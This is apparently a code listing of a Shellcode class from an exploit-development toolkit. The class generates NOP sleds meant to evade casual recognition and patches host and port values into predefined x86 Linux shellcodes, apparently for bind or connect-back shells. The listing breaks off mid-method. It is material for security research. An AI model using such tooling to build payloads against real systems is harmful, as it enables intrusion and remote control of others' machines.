Class Shellcode

lib/shellcode.py:239–384

Simple wrapper for pre-defined shellcodes generation For complete and advanced shellcodes, Metasploit is recommended

SHELLCODES = {"x86": shellcode_x86}

class Shellcode():
    """
    Simple wrapper for pre-defined shellcodes generation
    For complete and advanced shellcodes, Metasploit is recommended
    """
    def __init__(self, arch="x86", platform="linux"):
        if arch in SHELLCODES and platform in SHELLCODES[arch]:
            self.shellcodes = SHELLCODES[arch][platform].copy()
        else:
            self.shellcodes = None

    @staticmethod
    def gennop(size, NOPS=None):
        """
        genNOP is used to create an arbitrary length NOP sled using characters of your choosing.
        Perhaps you prefer \x90, perhaps you like the defaults. Given a list of NOP characters,
        genNOP will randomize and spit out something not easily recognized by the average human/rev engineer.
        Still, while you are working a vulnerability, you may prefer to specify one byte such as "A" or
        "\x90" as they are easily identified while searching memory.
        Defaults:
            # inc eax       @       \x40
            # inc ecx       A       \x41
            # inc edx       B       \x42
            # inc ebx       C       \x43
            # inc esp       D       \x44
            # inc ebp       E       \x45
            # inc esi       F       \x46
            # inc edi       G       \x47
            # dec eax       H       \x48
            # dec esx       J       \x4a
            # daa           '       \x27
            # das           /       \x2f
            # nop                   \x90
            # xor eax,eax           \x33\xc0
        source: atlasutils
        """
        DEFAULT_NOPS = "ABCFGHKIJ@'"
        if (not NOPS):
            NOPS = DEFAULT_NOPS
        sled = ""
        for i in range(size,0,-1):
            N = random.randint(0,len(NOPS)-1)
            sled += NOPS[N]
        return sled

    def shellcode(self, sctype, port=None, host=None):
        if not self.shellcodes or sctype not in self.shellcodes:
            return None

        if port is None:
            port=16706
        if host is None:
            host='127.127.127.127'

        shellcode = self.shellcodes[sctype]
        try:
            port = struct.pack(">H", port)
            addr = socket.inet_aton(host)